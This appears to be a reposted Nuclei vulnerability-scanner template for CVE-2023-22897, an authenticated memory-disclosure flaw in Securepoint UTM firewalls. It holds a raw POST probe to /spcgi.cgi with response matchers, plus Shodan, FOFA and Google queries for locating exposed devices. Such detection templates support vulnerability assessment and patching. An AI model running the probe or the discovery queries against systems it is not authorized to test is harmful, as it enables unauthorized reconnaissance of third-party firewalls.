CVE-2023-22897: Securepoint UTM - Leaking Remote Memory Contents

2025-08-01 Securepoint UTM PoC Public

Description

An issue was discovered in SecurePoint UTM before 12.2.5.1. The firewall's endpoint at /spcgi.cgi allows information disclosure of memory contents to be achieved by an authenticated user. Essentially, uninitialized data can be retrieved via an approach in which a sessionid is obtained but not used.

PoC

id: CVE-2023-22897

info:
  name: Securepoint UTM - Leaking Remote Memory Contents
  author: DhiyaneshDK
  severity: medium
  description: |
    An issue was discovered in SecurePoint UTM before 12.2.5.1. The firewall's endpoint at /spcgi.cgi allows information disclosure of memory contents to be achieved by an authenticated user. Essentially, uninitialized data can be retrieved via an approach in which a sessionid is obtained but not used.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information stored in the device's memory.
  remediation: |
    Apply the latest security patches and updates provided by Securepoint to fix the memory leakage issue.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22897
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2023-22897.txt
    - https://www.rcesecurity.com/2023/04/securepwn-part-2-leaking-remote-memory-contents-cve-2023-22897/
    - https://rcesecurity.com
    - https://github.com/MrTuxracer/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-22897
    cwe-id: CWE-908
    epss-score: 0.04074
    epss-percentile: 0.9017
    cpe: cpe:2.3:o:securepoint:unified_threat_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: securepoint
    product: unified_threat_management
    shodan-query:
      - title:"Securepoint UTM"
      - http.title:"securepoint utm"
    fofa-query: title="securepoint utm"
    google-query: intitle:"securepoint utm"
  tags: cve,cve2023,securepoint,utm,exposure,memory,vkev,vuln

http:
  - raw:
      - |
        POST /spcgi.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sessionid":'
          - '"mode":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402207f7d1c030b08e664145c7d9ec8062ed1019b1956d49259cec900f0e3f87694cc0220342b60b6bfea1ecf8a48db1c148494eecc96d13e604c58a67072690fd47b6383:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22897.yaml

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